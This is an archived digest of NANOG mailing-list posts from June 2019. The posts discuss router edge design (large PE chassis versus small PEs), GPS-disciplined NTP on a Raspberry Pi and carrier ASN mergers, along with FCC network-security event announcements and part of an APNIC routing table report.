Jun 21 08:46:02 2019 From: adamv0025 at netconsultings.com (adamv0025 at netconsultings.com) Date: Fri, 21 Jun 2019 09:46:02 +0100 Subject: few big monolithic PEs vs many small PEs In-Reply-To: <1bee2002-6806-d540-c6e1-a673ecd4cb6c@seacom.mu> References: <005b01d526dc$c1af2800$450d7800$@netconsultings.com> <2c8ac110-701e-209f-8144-ab8935a85e34@lanparty.ee> <00f001d52804$1c233fb0$5469bf10$@netconsultings.com> <1bee2002-6806-d540-c6e1-a673ecd4cb6c@seacom.mu> Message-ID: <010601d5280d$c1d8bb70$458a3250$@netconsultings.com> > From: Mark Tinka > Sent: Friday, June 21, 2019 9:07 AM > > > > On 21/Jun/19 09:36, adamv0025 at netconsultings.com wrote: > > > And indeed there are cases where we connect customers directly on to > > the PEs, but then it's somehow ok for a line-card to be part of just a > > single chassis (or a PE). > > We'd typically do this for very high-speed ports (100Gbps), as it's cheaper to > aggregate 10Gbps-and-slower via an Ethernet switch trunking to a router line > card. > > > > Now let's take a step even further what if the line-card is not inside the > chassis anymore -cause it's a fabric-extender or a satellite card. > > Why all of a sudden we'd be uncomfortable again to have it part of just a > single chassis (and there are tons of satellite/extender topologies to prove > that this is a real concern among operators). > > I never quite saw the use-case for satellite ports. To me, it felt like vendors > trying to find ways to lock you into their revenue stream forever, as many of > these architectures do not play well with the other kids. I'd rather keep it > simple and have 802.1Q trunks between router line cards and affordable > Ethernet switches. > > We are currently switching our Layer 2 aggregation ports in the data centre > from Juniper to Arista, talking to a Juniper edge router. I'd have been in real > trouble if I'd fallen for Juniper's satellite system, as they have a number of > shortfalls in the Layer 2 space, I feel. > I'd actually like to hear more on that if you don't mind. > > > So to circle back to a standalone aggregation device -should we try and > complicate the design by creating this "fabric" (PEs "spine" and aggregation > devices "leaf") in an attempt to increase resiliency or shall we treat each > aggregation device as unitary indivisible part of a single PE as if it was a card in > a chassis -cause if the economics worked It would be a card in a chassis? > > See my previous response to you. > You actually haven't answered the question I'm afraid :) So would you connect the Juniper now Arista aggregation switch to at least two PEs in the POP (or all PEs in the POP -"fabric-style") or would you consider 1:1 mapping between an aggregation switch and a PE please? adam From niels=nanog at bakker.net Fri Jun 21 11:19:52 2019 From: niels=nanog at bakker.net (Niels Bakker) Date: Fri, 21 Jun 2019 13:19:52 +0200 Subject: Cost effective time servers In-Reply-To: <672853c2-89a4-ed28-4920-1635daefdbe4@west.net> References: <672853c2-89a4-ed28-4920-1635daefdbe4@west.net> Message-ID: <20190621111952.GD6254@jima.tpb.net> * jay at west.net (Jay Hennigan) [Fri 21 Jun 2019, 05:19 CEST]: >On 6/20/19 07:39, David Bass wrote: >>What are folks using these days for smaller organizations, that >>need to dole out time from an internal source? > >If you want to go really cheap and don't value your time, but do >value knowing the correct time, a GPS receiver with a USB interface >and a Raspberry Pi would do the trick. Have you tried this? Because I have, and it's absolutely terrible. GPS doesn't give you the correct time, it's supposed to give you a good 1pps clock discipline against which you can measure your device's internal clock and adjust accordingly for drift due to it not being Cesium-based, influenced by room temperature etc. You're unlikely to get the 1pps signal across USB, and even then there'll likely be significant latencies in the USB stack compared to the serial interface that these setups traditionally use. -- Niels. From nuclearcat at nuclearcat.com Fri Jun 21 11:23:32 2019 From: nuclearcat at nuclearcat.com (Denys Fedoryshchenko) Date: Fri, 21 Jun 2019 14:23:32 +0300 Subject: Cost effective time servers In-Reply-To: <20190621111952.GD6254@jima.tpb.net> References: <672853c2-89a4-ed28-4920-1635daefdbe4@west.net> <20190621111952.GD6254@jima.tpb.net> Message-ID: <19bbcc9cd95952847452cbef26278237@nuclearcat.com> On 2019-06-21 14:19, Niels Bakker wrote: > * jay at west.net (Jay Hennigan) [Fri 21 Jun 2019, 05:19 CEST]: >> On 6/20/19 07:39, David Bass wrote: >>> What are folks using these days for smaller organizations, that need >>> to dole out time from an internal source? >> >> If you want to go really cheap and don't value your time, but do value >> knowing the correct time, a GPS receiver with a USB interface and a >> Raspberry Pi would do the trick. > > Have you tried this? Because I have, and it's absolutely terrible. > GPS doesn't give you the correct time, it's supposed to give you a > good 1pps clock discipline against which you can measure your device's > internal clock and adjust accordingly for drift due to it not being > Cesium-based, influenced by room temperature etc. > > You're unlikely to get the 1pps signal across USB, and even then > there'll likely be significant latencies in the USB stack compared to > the serial interface that these setups traditionally use. I think it depends on recipe you are using. Raspberry have low latency GPIO, and some receivers have 1pps output. https://www.satsignal.eu/ntp/Raspberry-Pi-NTP.html From dot at dotat.at Fri Jun 21 11:50:21 2019 From: dot at dotat.at (Tony Finch) Date: Fri, 21 Jun 2019 12:50:21 +0100 Subject: Cost effective time servers In-Reply-To: <19bbcc9cd95952847452cbef26278237@nuclearcat.com> References: <672853c2-89a4-ed28-4920-1635daefdbe4@west.net> <20190621111952.GD6254@jima.tpb.net> <19bbcc9cd95952847452cbef26278237@nuclearcat.com> Message-ID: Denys Fedoryshchenko wrote: > On 2019-06-21 14:19, Niels Bakker wrote: > > > > Have you tried this? Because I have, and it's absolutely terrible. > > GPS doesn't give you the correct time, it's supposed to give you a > > good 1pps clock discipline against which you can measure your device's > > internal clock and adjust accordingly for drift due to it not being > > Cesium-based, influenced by room temperature etc. > > > > You're unlikely to get the 1pps signal across USB, and even then > > there'll likely be significant latencies in the USB stack compared to > > the serial interface that these setups traditionally use. > > I think it depends on recipe you are using. > Raspberry have low latency GPIO, and some receivers have 1pps output. > https://www.satsignal.eu/ntp/Raspberry-Pi-NTP.html And there are tricks for avoiding temperature-related deviations :-) https://blog.ntpsec.org/2017/02/01/heat-it-up.html Tony. -- f.anthony.n.finch http://dotat.at/ defend the right to speak, write, worship, associate, and vote freely From mark.tinka at seacom.mu Fri Jun 21 12:12:19 2019 From: mark.tinka at seacom.mu (Mark Tinka) Date: Fri, 21 Jun 2019 14:12:19 +0200 Subject: few big monolithic PEs vs many small PEs In-Reply-To: <010601d5280d$c1d8bb70$458a3250$@netconsultings.com> References: <005b01d526dc$c1af2800$450d7800$@netconsultings.com> <2c8ac110-701e-209f-8144-ab8935a85e34@lanparty.ee> <00f001d52804$1c233fb0$5469bf10$@netconsultings.com> <1bee2002-6806-d540-c6e1-a673ecd4cb6c@seacom.mu> <010601d5280d$c1d8bb70$458a3250$@netconsultings.com> Message-ID: <049e2369-8ce7-0bfd-1ce8-898ef207ec3b@seacom.mu> On 21/Jun/19 10:46, adamv0025 at netconsultings.com wrote: > I'd actually like to hear more on that if you don't mind. What part, Juniper's Ethernet switching portfolio? > You actually haven't answered the question I'm afraid :) > So would you connect the Juniper now Arista aggregation switch to at least two PEs in the POP (or all PEs in the POP -"fabric-style") or would you consider 1:1 mapping between an aggregation switch and a PE please? Each edge router connects to its own aggregation switch (one or more, depending on the number of ports required). The outgoing EX4550's we used were setup in a VC for ease of management when we needed more ports on a router-switch pair. But since Arista don't support VC's, each switch would have an independent port to the edge router. Based upon experience with VC's and the EX4550, that's not necessarily a bad thing, as what you provision and what you actually get and can use are totally different things. We do not dual-home aggregation switches to edge routers; that's just asking for STP issues (which we once faced when we thought we should be fancy and provide VRRP services between 2 edge routers and their associated aggregated switches. Mark. From mark.tinka at seacom.mu Fri Jun 21 12:26:53 2019 From: mark.tinka at seacom.mu (Mark Tinka) Date: Fri, 21 Jun 2019 14:26:53 +0200 Subject: few big monolithic PEs vs many small PEs In-Reply-To: <010201d5280b$ed8e3990$c8aaacb0$@netconsultings.com> References: <005b01d526dc$c1af2800$450d7800$@netconsultings.com> <50f1a38a-3638-a46e-4bde-7e9716173ca6@seacom.mu> <010201d5280b$ed8e3990$c8aaacb0$@netconsultings.com> Message-ID: On 21/Jun/19 10:32, adamv0025 at netconsultings.com wrote: > Well yes but if say I compare just a single line-card cost to a standalone fixed-format 1RU router with a similar capacity -the card will always be cheaper and then as I'll start adding cards on the left-hand side of the equation things should start to even out gradually (problem is this gradual increase is just a theoretical exercise -there are no fixed PE products to do this with). > Yes I can compare mpc7 with a mx204. Or asr9901 with some tomahawk card(s) probably not apples to apples? Yes, you can't always do that because not many vendors create 1U router versions of their line cards. The MX204 is probably one of those that comes reasonably close. I'm not sure deciding whether you get an MPC7 line card or an MX204 will be a meaningful exercise. You need to determine what your use-case fits. For example, rather than buy MPC7 line cards to support 100Gbps customers in our MX480's, it is easier to buy an MX10003. That way, we can keep the MPC2 line cards in the MX480 chassis to support up to N x 10Gbps of customer links (aggregated to an Ethernet switch, of course) and not pay the cost of trying to run 100Gbps services through the MX480. The MX10003 would then be dedicated for 100Gbps customers (and 40Gbps), meaning we can manage the ongoing operational costs of each type of customer for a specific box. We have thought about using MX204's to support 40Gbps and 100Gbps customers, but there aren't enough ports on it for it to make sense, particularly given those types of customers will want the routers they connect to to have some kind of physical redundancy, which the MX204 does not have. Our use-case for the MX204 is:     - Peering.     - Metro-E deployments for customers needing 10Gbps in the Access. > Also one interesting CAPEX factor to consider is the connectivity back to the core, as with many small PEs in a POP one would need a lot of ports on core routers and also once again the aggregation factor is somewhat lost in doing so. Where I'd have just a couple of PEs with 100G back to the core now I'd need bunch of 10s-bundled or 40s -would probably need additional cards in core routers to accommodate the need for PE ports in the POP. Yes, that's not a small issue to scoff at, and you raise a valid concern that could be easily overlooked if you adopted several smaller edge routers in the data centre in favour of fewer large ones. That said, you could do what we do and have a Layer 2 core switching network, where you aggregate all routers in the data centre, so that you are not running point-to-point links between routers and your core boxes. For us, because of this, we still have plenty of slots left in our CRS-8 chassis 5 years after deploying them, even though we are supporting several 100's of Gbps worth of downstream router capacity. > Well playing devil's advocate, having the metro rings build as dumb L1 or L2 with pair of PEs at the top is cheaper -although not much cheaper nowadays the economics in this sector changed significantly over the past years. A dumb Metro-E access with all the smarts in the core is cheap to build, but expensive to operate. You can't run away from the costs. You just have to decide whether you want to pay costs in initial cash or in long-term operational headache. > So this particular case, the major POPs, is actually where we ran into the problem of RE/RP becoming full (too many VRFs/Routes/BGP sessions) halfway through the chassis. > Hence I'm considering whether it's actually better to go with multiple small chassis and/or fixed form PEs in the rack as opposed to half/full rack chassis. Are you saying that even the fastest and biggest control plane on the market for your chassis is unable to support your requirements (assuming their cost did not stop you from looking at them in the first place)? Mark. From nanog at ics-il.net Fri Jun 21 12:27:57 2019 From: nanog at ics-il.net (Mike Hammett) Date: Fri, 21 Jun 2019 07:27:57 -0500 (CDT) Subject: Birch/Primus/Fusion Network ASN integration? In-Reply-To: References: <289720045.375.1560885474468.JavaMail.mhammett@ThunderFuck> Message-ID: <1685442949.1025.1560905812750.JavaMail.mhammett@ThunderFuck> I still have SIP connections to the Globalinx system to IPs that are in 17184. I don't believe this part was migrated yet because whenever I call in for support issues, no one has any idea how to find the configured accounts. ----- Mike Hammett Intelligent Computing Solutions Midwest Internet Exchange The Brothers WISP ----- Original Message ----- From: "Erik Sundberg" To: "Mike Hammett" , "Eric Kuhnke" Cc: "nanog at nanog.org list" Sent: Tuesday, June 18, 2019 4:33:58 PM Subject: RE: Birch/Primus/Fusion Network ASN integration? The Globalinx network was migrated into the Fusion network earlier this year about 27 Weeks Ago is what my router interface tells me. We ended up running new interconnects with them and changing peering from Globalinx’s ASN to the Fusion Network ASN 11696. The birch ASN 17184 is reachable via AS11696. I am not sure if this was a special setup for us or not. This is for the legacy Globalinx Network AS46191 199.x.84.0/24 and 199.x.85.0/24 if you were connecting to the 5Linx / Globalinx Broadsoft environment. -Erik From: NANOG < nanog-bounces at nanog.org > On Behalf Of Mike Hammett Sent: Tuesday, June 18, 2019 2:18 PM To: Eric Kuhnke < eric.kuhnke at gmail.com > Cc: nanog at nanog.org list < nanog at nanog.org > Subject: Re: Birch/Primus/Fusion Network ASN integration? I connect to Globalinx (another Birch acquisition) via AS17184. It looks like they also have AS16526. ----- Mike Hammett Intelligent Computing Solutions Midwest Internet Exchange The Brothers WISP ----- Original Message ----- From: "Eric Kuhnke" < eric.kuhnke at gmail.com > To: "TJ Trout" < tj at pcguys.us > Cc: " nanog at nanog.org list " < nanog at nanog.org > Sent: Tuesday, June 18, 2019 3:13:11 AM Subject: Re: Birch/Primus/Fusion Network ASN integration? Mea culpa. I'm actually not finding much for Fusion Connect Inc. in terms of normal BGP presence (peeringdb page, an AS that's known to tools like the bgp.he.net tool, etc. https://en.wikipedia.org/wiki/Birch_Communications AS20175 Birch Communications Inc. doesn't appear to be doing much of anything There's also this, which is one of their earlier acquisitions: https://www.peeringdb.com/net/3238 On Tue, Jun 18, 2019 at 12:42 AM TJ Trout < tj at pcguys.us > wrote: wrong fusion on peering db On Mon, Jun 17, 2019 at 10:35 PM Eric Kuhnke < eric.kuhnke at gmail.com > wrote:
Hey all, I'm looking for any info that might be publicly available regarding intentions to merge the Primus ASN into Birch/Fusion Network, or whether it will remain its own thing. Primus acquired by Birch: https://primus.ca/index.php/bc_en/news-and-events/primus-news-birch-completes-purchase-of-primus-telecommunications-assets-in-canada/ Birch acquired by Fusion: https://primus.ca/index.php/yt_en/news-and-events/primus-news-fusion-announces-closing-of-birch-acquisition/ primus: https://www.peeringdb.com/net/2811 fusion: https://www.peeringdb.com/net/4608
CONFIDENTIALITY NOTICE: This e-mail transmission, and any documents, files or previous e-mail messages attached to it may contain confidential information that is legally privileged. If you are not the intended recipient, or a person responsible for delivering it to the intended recipient, you are hereby notified that any disclosure, copying, distribution or use of any of the information contained in or attached to this transmission is STRICTLY PROHIBITED. If you have received this transmission in error please notify the sender immediately by replying to this e-mail. You must destroy the original transmission and its attachments without reading or saving in any manner. Thank you. -------------- next part -------------- An HTML attachment was scrubbed... URL: From nanog at ics-il.net Fri Jun 21 12:31:19 2019 From: nanog at ics-il.net (Mike Hammett) Date: Fri, 21 Jun 2019 07:31:19 -0500 (CDT) Subject: few big monolithic PEs vs many small PEs In-Reply-To: <68985242-d7b0-94c2-bd86-63ef8ead9d6e@lanparty.ee> References: <005b01d526dc$c1af2800$450d7800$@netconsultings.com> <2c8ac110-701e-209f-8144-ab8935a85e34@lanparty.ee> <00f001d52804$1c233fb0$5469bf10$@netconsultings.com> <68985242-d7b0-94c2-bd86-63ef8ead9d6e@lanparty.ee> Message-ID: <1097887339.3541.1561120276111.JavaMail.mhammett@ThunderFuck> " It is not economical or even physically possible to have an MPLS device next to every DSLAM, hence the aggregation." https://mikrotik.com/product/RB750r2 MSRP $39.95 I readily admit that this device isn't large enough for most cases, but you can get cheap and small MPLS routers. ----- Mike Hammett Intelligent Computing Solutions Midwest Internet Exchange The Brothers WISP ----- Original Message ----- From: "Tarko Tikan" To: adamv0025 at netconsultings.com, nanog at nanog.org Sent: Friday, June 21, 2019 2:51:20 AM Subject: Re: few big monolithic PEs vs many small PEs hey, > So what is the primary goal of us using the aggregation/access layer? It's to achieve better utilization of the expensive router ports right? (hence called aggregation) I'm in the eyeball business so saving router ports is not a primary concern. Aggregation exists to aggregate downstream access devices like DSLAMs, OLTs etc. First of all they have interfaces that are not available in your typical PEs. Secondly they are physically located further downstream, closer to the customers. It is not economical or even physically possible to have an MPLS device next to every DSLAM, hence the aggregation. Eyeball network topologies are very much driven by fiber layout that might have been built 10+ years ago following TDM network best practices (rings). Ideally (and if your market situation and finances allow this) you want your access device (or in PON case, perhaps even a OLT linecard) to be only SPOF. If you now uplink this access device to a PE, PE linecard becomes a SPOF for many, let's say 40 as this is a typical port count, access devices. If you don't want this to happen you can use second fiber pair for second uplink but you typically don't have fiber to second aggregation site. So your only option is to build on same fiber (so thats a SPOF too) to the same site. If you now uplink to same PE, you will still loose both uplinks during software upgrades. Two devices will help with that making aggregation upgrades invisible for customers thus improving customer satisfaction. Again, it very much depends on market, in here the customers get nosy if they have more than one or two planned maintenances in a year (and this is not for some premium L3VPN service but just internet). -- tarko -------------- next part -------------- An HTML attachment was scrubbed... URL: From aaron1 at gvtc.com Fri Jun 21 14:01:38 2019 From: aaron1 at gvtc.com (Aaron Gould) Date: Fri, 21 Jun 2019 09:01:38 -0500 Subject: few big monolithic PEs vs many small PEs In-Reply-To: <00f001d52804$1c233fb0$5469bf10$@netconsultings.com> References: <005b01d526dc$c1af2800$450d7800$@netconsultings.com> <2c8ac110-701e-209f-8144-ab8935a85e34@lanparty.ee> <00f001d52804$1c233fb0$5469bf10$@netconsultings.com> Message-ID: <000901d52839$d87e9940$897bcbc0$@gvtc.com> I was reading this and thought, ....planet earth is a single point of failure. ...but, I guess we build and design and connect as much redundancy (logic, hw, sw, power) as the customer requires and pays for.... and that we can truly accomplish. -Aaron From cra at wpi.edu Fri Jun 21 14:55:46 2019 From: cra at wpi.edu (Anderson, Charles R) Date: Fri, 21 Jun 2019 14:55:46 +0000 Subject: few big monolithic PEs vs many small PEs In-Reply-To: <000901d52839$d87e9940$897bcbc0$@gvtc.com> References: <005b01d526dc$c1af2800$450d7800$@netconsultings.com> <2c8ac110-701e-209f-8144-ab8935a85e34@lanparty.ee> <00f001d52804$1c233fb0$5469bf10$@netconsultings.com> <000901d52839$d87e9940$897bcbc0$@gvtc.com> Message-ID: <20190621145544.srzuyd3apquu7ma2@angus.ind.wpi.edu> On Fri, Jun 21, 2019 at 09:01:38AM -0500, Aaron Gould wrote: > I was reading this and thought, ....planet earth is a single point of failure. > > ...but, I guess we build and design and connect as much redundancy (logic, hw, sw, power) as the customer requires and pays for.... and that we can truly accomplish. Fate sharing is also an important concept in system design. From beecher at beecher.cc Fri Jun 21 15:50:35 2019 From: beecher at beecher.cc (Tom Beecher) Date: Fri, 21 Jun 2019 11:50:35 -0400 Subject: Cost effective time servers In-Reply-To: <19bbcc9cd95952847452cbef26278237@nuclearcat.com> References: <672853c2-89a4-ed28-4920-1635daefdbe4@west.net> <20190621111952.GD6254@jima.tpb.net> <19bbcc9cd95952847452cbef26278237@nuclearcat.com> Message-ID: This. I've had some timing issues ( unrelated to NTP ) with certain combinations of FlightAware RTLSDR USB sticks and Pi models. IIRC USB and Ethernet share the same bus on the Pis, and that can cause bumps. GPIOs run right off the SOC, avoiding that. On Fri, Jun 21, 2019 at 7:25 AM Denys Fedoryshchenko < nuclearcat at nuclearcat.com> wrote: > On 2019-06-21 14:19, Niels Bakker wrote: > > * jay at west.net (Jay Hennigan) [Fri 21 Jun 2019, 05:19 CEST]: > >> On 6/20/19 07:39, David Bass wrote: > >>> What are folks using these days for smaller organizations, that need > >>> to dole out time from an internal source? > >> > >> If you want to go really cheap and don't value your time, but do value > >> knowing the correct time, a GPS receiver with a USB interface and a > >> Raspberry Pi would do the trick. > > > > Have you tried this? Because I have, and it's absolutely terrible. > > GPS doesn't give you the correct time, it's supposed to give you a > > good 1pps clock discipline against which you can measure your device's > > internal clock and adjust accordingly for drift due to it not being > > Cesium-based, influenced by room temperature etc. > > > > You're unlikely to get the 1pps signal across USB, and even then > > there'll likely be significant latencies in the USB stack compared to > > the serial interface that these setups traditionally use. > > I think it depends on recipe you are using. > Raspberry have low latency GPIO, and some receivers have 1pps output. > https://www.satsignal.eu/ntp/Raspberry-Pi-NTP.html > -------------- next part -------------- An HTML attachment was scrubbed... URL: From sean at donelan.com Fri Jun 21 17:54:21 2019 From: sean at donelan.com (Sean Donelan) Date: Fri, 21 Jun 2019 13:54:21 -0400 (EDT) Subject: FCC workshop: Security vulnerabilities within our communications networks Message-ID: Federal Communications Commissioner Geoffrey Starks is holding a workshop next week, June 27, 2019, to hear from interested parties on how to address the national security threats posed by insecure equipment within our communications networks. https://www.fcc.gov/document/commr-starks-announces-june-27-public-workshop-network-security Panel 1: Find It – The Scope of the Problem This panel will focus on how to identify which equipment poses a threat and where it is located. Panel 2: Fix It – How to Ensure that Networks are Secure This panel will consider options for fixing identified security problems, including discussion of what equipment needs to be fixed, whether replacing equipment is the best approach, or whether monitoring or other measures can be part of the solution. Panel 3: Fund It – National Problems Require National Solutions This panel will address questions regarding funding, including the amount required for equipment replacement and threat mitigation, pote From sean at donelan.com Fri Jun 21 18:01:58 2019 From: sean at donelan.com (Sean Donelan) Date: Fri, 21 Jun 2019 14:01:58 -0400 (EDT) Subject: FCC webinar: Network resiliency for small and rural communication providers Message-ID: If you aren't aware of the Supply Chain Notice of Proposed Rulemaking, you may want to read this. The Federal Communications Commission has put the presentations from the Webinar earlier this week on Network Resiliency for Small and Rural Communication Providers up on its website. https://www.fcc.gov/small-rural-communications-provider-network-resiliency-webinar I. Small Business Cybersecurity - Network Protection II. Communications Security, Reliability and Interoperability Council (CSRIC) Recommendations for Small Carriers on Transition to NG9-1-1 III. Introduction to Network Outage Reporting System (NORS) & Disaster Information Reporting System (DIRS) IV. Supply Chain Notice of Proposed Rulemaking From cscora at apnic.net Fri Jun 21 18:03:43 2019 From: cscora at apnic.net (Routing Analysis Role Account) Date: Sat, 22 Jun 2019 04:03:43 +1000 (AEST) Subject: Weekly Routing Table Report Message-ID: <20190621180343.CA0C7C44A1@thyme.apnic.net> This is an automated weekly mailing describing the state of the Internet Routing Table as seen from APNIC's router in Japan. The posting is sent to APOPS, NANOG, AfNOG, SANOG, PacNOG, SAFNOG TZNOG, MENOG, BJNOG, SDNOG, CMNOG, LACNOG and the RIPE Routing WG. Daily listings are sent to bgp-stats at lists.apnic.net For historical data, please see http://thyme.rand.apnic.net. If you have any comments please contact Philip Smith . Routing Table Report 04:00 +10GMT Sat 22 Jun, 2019 Report Website: http://thyme.rand.apnic.net Detailed Analysis: http://thyme.rand.apnic.net/current/ Analysis Summary ---------------- BGP routing table entries examined: 758445 Prefixes after maximum aggregation (per Origin AS): 292145 Deaggregation factor: 2.60 Unique aggregates announced (without unneeded subnets): 363811 Total ASes present in the Internet Routing Table: 64587 Prefixes per ASN: 11.74 Origin-only ASes present in the Internet Routing Table: 55576 Origin ASes announcing only one prefix: 23900 Transit ASes present in the Internet Routing Table: 9011 Transit-only ASes present in the Internet Routing Table: 266 Average AS path length visible in the Internet Routing Table: 4.4 Max AS path length visible: 42 Max AS path prepend of ASN ( 27978) 31 Prefixes from unregistered ASNs in the Routing Table: 22 Number of instances of unregistered ASNs: 25 Number of 32-bit ASNs allocated by the RIRs: 27493 Number of 32-bit ASNs visible in the Routing Table: 22425 Prefixes from 32-bit ASNs in the Routing Table: 101104 Number of bogon 32-bit ASNs visible in the Routing Table: 18 Special use prefixes present in the Routing Table: 0 Prefixes being announced from unallocated address space: 242 Number of addresses announced to Internet: 2838596992 Equivalent to 169 /8s, 49 /16s and 141 /24s Percentage of available address space announced: 76.7 Percentage of allocated address space announced: 76.7 Percentage of available address space allocated: 100.0 Percentage of address space in use by end-sites: 99.3 Total number of prefixes smaller than registry allocations: 251945 APNIC Region Analysis Summary ----------------------------- Prefixes being announced by APNIC Region ASes: 205491 Total APNIC prefixes after maximum aggregation: 61201 APNIC Deaggregation factor: 3.36 Prefixes being announced from the APNIC address blocks: 201205 Unique aggregates announced from the APNIC address blocks: 83664 APNIC Region origin ASes present in the Internet Routing Table: 9827 APNIC Prefixes per ASN: 20.47 APNIC Region origin ASes announcing only one prefix: 2737 APNIC Region transit ASes present in the Internet Routing Table: 1462 Average APNIC Region AS path length visible: 4.5 Max APNIC Region AS path length visible: 26 Number of APNIC region 32-bit ASNs visible in the Routing Table: 4828 Number of APNIC addresses announced to Internet: 770999424 Equivalent to 45 /8s, 244 /16s and 132 /24s APNIC AS Blocks 4608-4864, 7467-7722, 9216-10239, 17408-18431 (pre-ERX allocations) 23552-24575, 37888-38911, 45056-46079, 55296-56319, 58368-59391, 63488-64098, 64297-64395, 131072-141625 APNIC Address Blocks 1/8, 14/8, 27/8, 36/8, 39/8, 42/8, 43/8, 49/8, 58/8, 59/8, 60/8, 61/8, 101/8, 103/8, 106/8, 110/8, 111/8, 112/8, 113/8, 114/8, 115/8, 116/8, 117/8, 118/8, 119/8, 120/8, 121/8, 122/8, 123/8, 124/8, 125/8, 126/8, 133/8, 150/8, 153/8, 163/8, 171/8, 175/8, 180/8, 182/8, 183/8, 202/8, 203/8, 210/8, 211/8, 218/8, 219/8, 220/8, 221/8, 222/8, 223/8, ARIN Region Analysis Summary ---------------------------- Prefixes being announced by ARIN Region ASes: 225662 Total ARIN prefixes after maximum aggregation: 105372 ARIN Deaggregation factor: 2.14 Prefixes being announced from the ARIN address blocks: 224886 Unique aggregates announced from the ARIN address blocks: 106070 ARIN Region origin ASes present in the Internet Routing Table: 18506 ARIN Prefixes per ASN: 12.15 ARIN Region origin ASes announcing only one prefix: 6856 ARIN Region transit ASes present in the Internet Routing Table: 1898 Average ARIN Region AS path length visible: 3.8 Max ARIN Region AS path length visible: 42 Number of ARIN region 32-bit ASNs visible in the Routing Table: 2765 Number of ARIN addresses announced to Internet: 1068113536 Equivalent to 63 /8s, 170 /16s and 30 /24s ARIN AS Blocks 1-1876, 1902-2042, 2044-2046, 2048-2106 (pre-ERX allocations) 2138-2584, 2615-2772, 2823-2829, 2880-3153 3354-4607, 4865-5119, 5632-6655, 6912-7466 7723-8191, 10240-12287, 13312-15359, 16384-17407 18432-20479, 21504-23551, 25600-26591, 26624-27647, 29696-30719, 31744-33791 35840-36863, 39936-40959, 46080-47103 53248-55295, 62464-63487, 64198-64296, 393216-399260 ARIN Address Blocks 3/8, 4/8, 6/8, 7/8, 8/8, 9/8, 11/8, 12/8, 13/8, 15/8, 16/8, 17/8, 18/8, 19/8, 20/8, 21/8, 22/8, 23/8, 24/8, 26/8, 28/8, 29/8, 30/8, 32/8, 33/8, 34/8, 35/8, 38/8, 40/8, 44/8, 47/8, 48/8, 50/8, 52/8, 53/8, 54/8, 55/8, 56/8, 57/8, 63/8, 64/8, 65/8, 66/8, 67/8, 68/8, 69/8, 70/8, 71/8, 72/8, 73/8, 74/8, 75/8, 76/8, 96/8, 97/8, 98/8, 99/8, 100/8, 104/8, 107/8, 108/8, 128/8, 129/8, 130/8, 131/8, 132/8, 134/8, 135/8, 136/8, 137/8, 138/8, 139/8, 140/8, 142/8, 143/8, 144/8, 146/8, 147/8, 148/8, 149/8, 152/8, 155/8, 156/8, 157/8, 158/8, 159/8, 160/8, 161/8, 162/8, 164/8, 165/8, 166/8, 167/8, 168/8, 169/8, 170/8, 172/8, 173/8, 174/8, 184/8, 192/8, 198/8, 199/8, 204/8, 205/8, 206/8, 207/8, 208/8, 209/8, 214/8, 215/8, 216/8, RIPE Region Analysis Summary ---------------------------- Prefixes being announced by RIPE Region ASes: 208786 Total RIPE prefixes after maximum aggregation: 98974 RIPE Deaggregation factor: 2.11 Prefixes being announced from the RIPE address blocks: 204774 Unique aggregates announced from the RIPE address blocks: 121776 RIPE Region origin ASes present in the Internet Routing Table: 26164 RIPE Prefixes per ASN: 7.83 RIPE Region origin ASes announcing only one prefix: 11575 RIPE Region transit ASes present in the Internet Routing Table: 3723 Average RIPE Region AS path length visible: 4.6 Max RIPE Region AS path length visible: 34 Number of RIPE region 32-bit ASNs visible in the Routing Table: 8194 Number of RIPE addresses announced to Internet: 719883904 Equivalent to 42 /8s, 232 /16s and 142 /24s RIPE AS Blocks 1877-1901, 2043, 2047, 2107-2136, 2585-2614 (pre-ERX allocations) 2773-2822, 2830-2879, 3154-3353, 5377-5631 6656-6911, 8192-9215, 12288-13311, 15360-16383 20480-21503, 24576-25599, 28672-29695 30720-31743, 33792-35839, 38912-39935 40960-45055, 47104-52223, 56320-58367 59392-61439, 61952-62463, 64396-64495 196608-210331 RIPE Address Blocks 2/8, 5/8, 25/8, 31/8, 37/8, 46/8, 51/8, 62/8, 77/8, 78/8, 79/8, 80/8, 81/8, 82/8, 83/8, 84/8, 85/8, 86/8, 87/8, 88/8, 89/8, 90/8, 91/8, 92/8, 93/8, 94/8, 95/8, 109/8, 141/8, 145/8, 151/8, 176/8, 178/8, 185/8, 188/8, 193/8, 194/8, 195/8, 212/8, 213/8, 217/8, LACNIC Region Analysis Summary ------------------------------ Prefixes being announced by LACNIC Region ASes: 97229 Total LACNIC prefixes after maximum aggregation: 22245 LACNIC Deaggregation factor: 4.37 Prefixes being announced from the LACNIC address blocks: 98563 Unique aggregates announced from the LACNIC address blocks: 42861 LACNIC Region origin ASes present in the Internet Routing Table: 8529 LACNIC Prefixes per ASN: 11.56 LACNIC Region origin ASes announcing only one prefix: 2286 LACNIC Region transit ASes present in the Internet Routing Table: 1555 Average LACNIC Region AS path length visible: 5.1 Max LACNIC Region AS path length visible: 39 Number of LACNIC region 32-bit ASNs visible in the Routing Table: 6078 Number of LACNIC addresses announced to Internet: 174020608 Equivalent to 10 /8s, 95 /16s and 88 /24s LACNIC AS Blocks 26592-26623, 27648-28671, 52224-53247, 61440-61951, 64099-64197, 262144-270748 + ERX transfers LACNIC Address Blocks 177/8, 179/8, 181/8, 186/8, 187/8, 189/8, 190/8, 191/8, 200/8, 201/8, AfriNIC Region Analysis Summary ------------------------------- Prefixes being announced by AfriNIC Region ASes: 21254 Total AfriNIC prefixes after maximum aggregation: 4335 AfriNIC Deaggregation factor: 4.90 Prefixes being announced from the AfriNIC address blocks: 28775 Unique aggregates announced from the AfriNIC address blocks: 9227 AfriNIC Region origin ASes present in the Internet Routing Table: 1280 AfriNIC Prefixes per ASN: 22.48 AfriNIC Region origin ASes announcing only one prefix: 446 AfriNIC Region transit ASes present in the Internet Routing Table: 253 Average AfriNIC Region AS path length visible: 4.9 Max AfriNIC Region AS path length visible: 24 Number of AfriNIC region 32-bit ASNs visible in the Routing Table: 560 Number of AfriNIC addresses announced to Internet: 105327104 Equivalent to 6 /8s, 71 /16s and 42 /24s AfriNIC AS Blocks 36864-37887, 327680-328703 & ERX transfers AfriNIC Address Blocks 41/8, 45/8, 102/8, 105/8, 154/8, 196/8, 197/8, APNIC Region per AS prefix count summary ---------------------------------------- ASN No of nets /20 equiv MaxAgg Description 7545 4773 549 540 TPG-INTERNET-AP TPG Telecom Limited, AU 7552 3209 1467 29 VIETEL-AS-AP Viettel Group, VN 45899 3045 1757 114 VNPT-AS-VN VNPT Corp, VN 9808 2813 9043 62 CMNET-GD 